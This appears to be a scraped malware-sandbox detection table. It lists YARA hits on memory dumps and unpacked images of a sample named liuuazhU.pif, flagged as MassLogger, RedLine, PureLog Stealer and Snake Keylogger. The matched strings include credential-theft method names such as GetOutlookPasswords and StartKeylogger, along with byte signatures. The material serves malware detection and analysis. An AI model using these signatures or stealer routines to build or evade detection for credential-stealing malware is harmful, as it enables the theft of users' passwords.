0000000B.00000002.3117150961.000000002AD31000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.3117150961.000000002AD31000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: liuuazhU.pif PID: 1856	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: liuuazhU.pif PID: 1856	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: liuuazhU.pif PID: 1856	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: liuuazhU.pif PID: 1856	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x47174:$a1: get_encryptedPassword 0x7c3d3:$a1: get_encryptedPassword 0xaa292:$a1: get_encryptedPassword 0xc2de2:$a1: get_encryptedPassword 0xd5da9:$a1: get_encryptedPassword 0x47148:$a2: get_encryptedUsername 0x7c3a7:$a2: get_encryptedUsername 0xaa266:$a2: get_encryptedUsername 0xc2db6:$a2: get_encryptedUsername 0xd5d7d:$a2: get_encryptedUsername 0x4720c:$a3: get_timePasswordChanged 0x7c46b:$a3: get_timePasswordChanged 0xaa32a:$a3: get_timePasswordChanged 0xc2e7a:$a3: get_timePasswordChanged 0xd5e41:$a3: get_timePasswordChanged 0x47124:$a4: get_passwordField 0x7c383:$a4: get_passwordField 0xaa242:$a4: get_passwordField 0xc2d92:$a4: get_passwordField 0xd5d59:$a4: get_passwordField 0x4718a:$a5: set_encryptedPassword
Process Memory Space: liuuazhU.pif PID: 5640	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: liuuazhU.pif PID: 5640	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: liuuazhU.pif PID: 5640	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: liuuazhU.pif PID: 5640	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xca0e:$a1: get_encryptedPassword 0x18cb0:$a1: get_encryptedPassword 0x2a0bc:$a1: get_encryptedPassword 0x43fbd:$a1: get_encryptedPassword 0xb3156:$a1: get_encryptedPassword 0xc9e2:$a2: get_encryptedUsername 0x18c84:$a2: get_encryptedUsername 0x2a090:$a2: get_encryptedUsername 0x43f91:$a2: get_encryptedUsername 0xb312a:$a2: get_encryptedUsername 0xcaa6:$a3: get_timePasswordChanged 0x18d48:$a3: get_timePasswordChanged 0x2a154:$a3: get_timePasswordChanged 0x44055:$a3: get_timePasswordChanged 0xb31ee:$a3: get_timePasswordChanged 0xc9be:$a4: get_passwordField 0x18c60:$a4: get_passwordField 0x2a06c:$a4: get_passwordField 0x43f6d:$a4: get_passwordField 0xb3106:$a4: get_passwordField 0xca24:$a5: set_encryptedPassword
Process Memory Space: liuuazhU.pif PID: 5956	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: liuuazhU.pif PID: 5956	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: liuuazhU.pif PID: 5956	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: liuuazhU.pif PID: 5956	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1b03c:$a1: get_encryptedPassword 0x35129:$a1: get_encryptedPassword 0x5ac63:$a1: get_encryptedPassword 0x6d649:$a1: get_encryptedPassword 0xb1b0f:$a1: get_encryptedPassword 0x1b010:$a2: get_encryptedUsername 0x350fd:$a2: get_encryptedUsername 0x5ac37:$a2: get_encryptedUsername 0x6d61d:$a2: get_encryptedUsername 0xb1ae3:$a2: get_encryptedUsername 0x1b0d4:$a3: get_timePasswordChanged 0x351c1:$a3: get_timePasswordChanged 0x5acfb:$a3: get_timePasswordChanged 0x6d6e1:$a3: get_timePasswordChanged 0xb1ba7:$a3: get_timePasswordChanged 0x1afec:$a4: get_passwordField 0x350d9:$a4: get_passwordField 0x5ac13:$a4: get_passwordField 0x6d5f9:$a4: get_passwordField 0xb1abf:$a4: get_passwordField 0x1b052:$a5: set_encryptedPassword
Click to see the 67 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
17.2.liuuazhU.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
17.1.liuuazhU.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
6.3.liuuazhU.pif.1b37a088.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.3.liuuazhU.pif.1b37a088.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.3.liuuazhU.pif.1b37a088.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1fea6:$a1: get_encryptedPassword 0x1fe7a:$a2: get_encryptedUsername 0x1ff3e:$a3: get_timePasswordChanged 0x1fe56:$a4: get_passwordField 0x1febc:$a5: set_encryptedPassword 0x1fc89:$a7: get_logins 0x1f213:$a8: GetOutlookPasswords 0x1e6d8:$a9: StartKeylogger 0x1d110:$a10: KeyLoggerEventArgs 0x1d0df:$a11: KeyLoggerEventArgsEventHandler 0x1fd5d:$a13: _encryptedPassword
11.1.liuuazhU.pif.400000.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
11.2.liuuazhU.pif.476068.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
17.1.liuuazhU.pif.43d038.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1bcb0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x350b0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x35730:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1d98a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1d5d0:$s5: delete[] 0x1ca88:$s6: constructor or from DllMain.
11.2.liuuazhU.pif.2aa80f08.6.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
11.2.liuuazhU.pif.2aa80f08.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.liuuazhU.pif.2aa80f08.6.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21ca6:$a1: get_encryptedPassword 0x21c7a:$a2: get_encryptedUsername 0x21d3e:$a3: get_timePasswordChanged 0x21c56:$a4: get_passwordField 0x21cbc:$a5: set_encryptedPassword 0x21a89:$a7: get_logins 0x21013:$a8: GetOutlookPasswords 0x204d8:$a9: StartKeylogger 0x1ef10:$a10: KeyLoggerEventArgs 0x1eedf:$a11: KeyLoggerEventArgsEventHandler 0x21b5d:$a13: _encryptedPassword
17.2.liuuazhU.pif.1c560f08.6.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
17.2.liuuazhU.pif.1c560f08.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.liuuazhU.pif.1c560f08.6.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21ca6:$a1: get_encryptedPassword 0x21c7a:$a2: get_encryptedUsername 0x21d3e:$a3: get_timePasswordChanged 0x21c56:$a4: get_passwordField 0x21cbc:$a5: set_encryptedPassword 0x21a89:$a7: get_logins 0x21013:$a8: GetOutlookPasswords 0x204d8:$a9: StartKeylogger 0x1ef10:$a10: KeyLoggerEventArgs 0x1eedf:$a11: KeyLoggerEventArgsEventHandler 0x21b5d:$a13: _encryptedPassword
6.2.liuuazhU.pif.1d3a0f08.5.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.2.liuuazhU.pif.1d3a0f08.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.liuuazhU.pif.1d3a0f08.5.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1fea6:$a1: get_encryptedPassword 0x1fe7a:$a2: get_encryptedUsername 0x1ff3e:$a3: get_timePasswordChanged 0x1fe56:$a4: get_passwordField 0x1febc:$a5: set_encryptedPassword 0x1fc89:$a7: get_logins 0x1f213:$a8: GetOutlookPasswords 0x1e6d8:$a9: StartKeylogger 0x1d110:$a10: KeyLoggerEventArgs 0x1d0df:$a11: KeyLoggerEventArgsEventHandler 0x1fd5d:$a13: _encryptedPassword
17.2.liuuazhU.pif.1c17772e.4.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
17.2.liuuazhU.pif.1c17772e.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.liuuazhU.pif.1c17772e.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1fea6:$a1: get_encryptedPassword 0x1fe7a:$a2: get_encryptedUsername 0x1ff3e:$a3: get_timePasswordChanged 0x1fe56:$a4: get_passwordField 0x1febc:$a5: set_encryptedPassword 0x1fc89:$a7: get_logins 0x1f213:$a8: GetOutlookPasswords 0x1e6d8:$a9: StartKeylogger 0x1d110:$a10: KeyLoggerEventArgs 0x1d0df:$a11: KeyLoggerEventArgsEventHandler 0x1fd5d:$a13: _encryptedPassword
17.2.liuuazhU.pif.1d7f5570.8.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
17.2.liuuazhU.pif.1d7f5570.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.liuuazhU.pif.1d7f5570.8.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x20dae:$a1: get_encryptedPassword 0x20d82:$a2: get_encryptedUsername 0x20e46:$a3: get_timePasswordChanged 0x20d5e:$a4: get_passwordField 0x20dc4:$a5: set_encryptedPassword 0x20b91:$a7: get_logins 0x2011b:$a8: GetOutlookPasswords 0x1f5e0:$a9: StartKeylogger 0x1e018:$a10: KeyLoggerEventArgs 0x1dfe7:$a11: KeyLoggerEventArgsEventHandler 0x20c65:$a13: _encryptedPassword
11.2.liuuazhU.pif.2bd36478.9.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
11.2.liuuazhU.pif.2bd36478.9.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.liuuazhU.pif.2bd36478.9.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21ca6:$a1: get_encryptedPassword 0x4fdbe:$a1: get_encryptedPassword 0x21c7a:$a2: get_encryptedUsername 0x4fd92:$a2: get_encryptedUsername 0x21d3e:$a3: get_timePasswordChanged 0x4fe56:$a3: get_timePasswordChanged 0x21c56:$a4: get_passwordField 0x4fd6e:$a4: get_passwordField 0x21cbc:$a5: set_encryptedPassword 0x4fdd4:$a5: set_encryptedPassword 0x21a89:$a7: get_logins 0x4fba1:$a7: get_logins 0x21013:$a8: GetOutlookPasswords 0x4f12b:$a8: GetOutlookPasswords 0x204d8:$a9: StartKeylogger 0x4e5f0:$a9: StartKeylogger 0x1ef10:$a10: KeyLoggerEventArgs 0x4d028:$a10: KeyLoggerEventArgs 0x1eedf:$a11: KeyLoggerEventArgsEventHandler 0x4cff7:$a11: KeyLoggerEventArgsEventHandler 0x21b5d:$a13: _encryptedPassword
11.2.liuuazhU.pif.2bd36478.9.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
11.2.liuuazhU.pif.2bd36478.9.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.liuuazhU.pif.2bd36478.9.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1fea6:$a1: get_encryptedPassword 0x1fe7a:$a2: get_encryptedUsername 0x1ff3e:$a3: get_timePasswordChanged 0x1fe56:$a4: get_passwordField 0x1febc:$a5: set_encryptedPassword 0x1fc89:$a7: get_logins 0x1f213:$a8: GetOutlookPasswords 0x1e6d8:$a9: StartKeylogger 0x1d110:$a10: KeyLoggerEventArgs 0x1d0df:$a11: KeyLoggerEventArgsEventHandler 0x1fd5d:$a13: _encryptedPassword
1.2.x.exe.21751178.9.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
11.2.liuuazhU.pif.43d038.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x560e0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x390b0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x39730:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x57dba:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x57a00:$s5: delete[] 0x1de88:$s6: constructor or from DllMain. 0x56eb8:$s6: constructor or from DllMain.
6.2.liuuazhU.pif.1f8a0000.9.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.2.liuuazhU.pif.1f8a0000.9.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.liuuazhU.pif.1f8a0000.9.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21ca6:$a1: get_encryptedPassword 0x21c7a:$a2: get_encryptedUsername 0x21d3e:$a3: get_timePasswordChanged 0x21c56:$a4: get_passwordField 0x21cbc:$a5: set_encryptedPassword 0x21a89:$a7: get_logins 0x21013:$a8: GetOutlookPasswords 0x204d8:$a9: StartKeylogger 0x1ef10:$a10: KeyLoggerEventArgs 0x1eedf:$a11: KeyLoggerEventArgsEventHandler 0x21b5d:$a13: _encryptedPassword
11.2.liuuazhU.pif.2aa80f08.6.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
11.2.liuuazhU.pif.2aa80f08.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.liuuazhU.pif.2aa80f08.6.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1fea6:$a1: get_encryptedPassword 0x1fe7a:$a2: get_encryptedUsername 0x1ff3e:$a3: get_timePasswordChanged 0x1fe56:$a4: get_passwordField 0x1febc:$a5: set_encryptedPassword 0x1fc89:$a7: get_logins 0x1f213:$a8: GetOutlookPasswords 0x1e6d8:$a9: StartKeylogger 0x1d110:$a10: KeyLoggerEventArgs 0x1d0df:$a11: KeyLoggerEventArgsEventHandler 0x1fd5d:$a13: _encryptedPassword
6.2.liuuazhU.pif.1f8a0000.9.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.2.liuuazhU.pif.1f8a0000.9.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.liuuazhU.pif.1f8a0000.9.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1fea6:$a1: get_encryptedPassword 0x1fe7a:$a2: get_encryptedUsername 0x1ff3e:$a3: get_timePasswordChanged 0x1fe56:$a4: get_passwordField 0x1febc:$a5: set_encryptedPassword 0x1fc89:$a7: get_logins 0x1f213:$a8: GetOutlookPasswords 0x1e6d8:$a9: StartKeylogger 0x1d110:$a10: KeyLoggerEventArgs 0x1d0df:$a11: KeyLoggerEventArgsEventHandler 0x1fd5d:$a13: _encryptedPassword
6.2.liuuazhU.pif.1e426478.7.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.2.liuuazhU.pif.1e426478.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.liuuazhU.pif.1e426478.7.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1fea6:$a1: get_encryptedPassword 0x1fe7a:$a2: get_encryptedUsername 0x1ff3e:$a3: get_timePasswordChanged 0x1fe56:$a4: get_passwordField 0x1febc:$a5: set_encryptedPassword 0x1fc89:$a7: get_logins 0x1f213:$a8: GetOutlookPasswords 0x1e6d8:$a9: StartKeylogger 0x1d110:$a10: KeyLoggerEventArgs 0x1d0df:$a11: KeyLoggerEventArgsEventHandler 0x1fd5d:$a13: _encryptedPassword
17.1.liuuazhU.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
17.2.liuuazhU.pif.1d824590.10.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
17.2.liuuazhU.pif.1d824590.10.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.liuuazhU.pif.1d824590.10.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21ca6:$a1: get_encryptedPassword 0x21c7a:$a2: get_encryptedUsername 0x21d3e:$a3: get_timePasswordChanged 0x21c56:$a4: get_passwordField 0x21cbc:$a5: set_encryptedPassword 0x21a89:$a7: get_logins 0x21013:$a8: GetOutlookPasswords 0x204d8:$a9: StartKeylogger 0x1ef10:$a10: KeyLoggerEventArgs 0x1eedf:$a11: KeyLoggerEventArgsEventHandler 0x21b5d:$a13: _encryptedPassword
6.2.liuuazhU.pif.1d03772e.3.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.2.liuuazhU.pif.1d03772e.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.liuuazhU.pif.1d03772e.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1fea6:$a1: get_encryptedPassword 0x1fe7a:$a2: get_encryptedUsername 0x1ff3e:$a3: get_timePasswordChanged 0x1fe56:$a4: get_passwordField 0x1febc:$a5: set_encryptedPassword 0x1fc89:$a7: get_logins 0x1f213:$a8: GetOutlookPasswords 0x1e6d8:$a9: StartKeylogger 0x1d110:$a10: KeyLoggerEventArgs 0x1d0df:$a11: KeyLoggerEventArgsEventHandler 0x1fd5d:$a13: _encryptedPassword
11.2.liuuazhU.pif.2a99772e.4.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
11.2.liuuazhU.pif.2a99772e.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.liuuazhU.pif.2a99772e.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21ca6:$a1: get_encryptedPassword 0x21c7a:$a2: get_encryptedUsername 0x21d3e:$a3: get_timePasswordChanged 0x21c56:$a4: get_passwordField 0x21cbc:$a5: set_encryptedPassword 0x21a89:$a7: get_logins 0x21013:$a8: GetOutlookPasswords 0x204d8:$a9: StartKeylogger 0x1ef10:$a10: KeyLoggerEventArgs 0x1eedf:$a11: KeyLoggerEventArgsEventHandler 0x21b5d:$a13: _encryptedPassword
11.2.liuuazhU.pif.2a996826.3.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
11.2.liuuazhU.pif.2a996826.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.liuuazhU.pif.2a996826.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x20dae:$a1: get_encryptedPassword 0x20d82:$a2: get_encryptedUsername 0x20e46:$a3: get_timePasswordChanged 0x20d5e:$a4: get_passwordField 0x20dc4:$a5: set_encryptedPassword 0x20b91:$a7: get_logins 0x2011b:$a8: GetOutlookPasswords 0x1f5e0:$a9: StartKeylogger 0x1e018:$a10: KeyLoggerEventArgs 0x1dfe7:$a11: KeyLoggerEventArgsEventHandler 0x20c65:$a13: _encryptedPassword
17.2.liuuazhU.pif.1d7f6478.9.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
17.2.liuuazhU.pif.1d7f6478.9.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.liuuazhU.pif.1d7f6478.9.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21ca6:$a1: get_encryptedPassword 0x4fdbe:$a1: get_encryptedPassword 0x21c7a:$a2: get_encryptedUsername 0x4fd92:$a2: get_encryptedUsername 0x21d3e:$a3: get_timePasswordChanged 0x4fe56:$a3: get_timePasswordChanged 0x21c56:$a4: get_passwordField 0x4fd6e:$a4: get_passwordField 0x21cbc:$a5: set_encryptedPassword 0x4fdd4:$a5: set_encryptedPassword 0x21a89:$a7: get_logins 0x4fba1:$a7: get_logins 0x21013:$a8: GetOutlookPasswords 0x4f12b:$a8: GetOutlookPasswords 0x204d8:$a9: StartKeylogger 0x4e5f0:$a9: StartKeylogger 0x1ef10:$a10: KeyLoggerEventArgs 0x4d028:$a10: KeyLoggerEventArgs 0x1eedf:$a11: KeyLoggerEventArgsEventHandler 0x4cff7:$a11: KeyLoggerEventArgsEventHandler 0x21b5d:$a13: _encryptedPassword
11.2.liuuazhU.pif.2bd35570.8.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
11.2.liuuazhU.pif.2bd35570.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
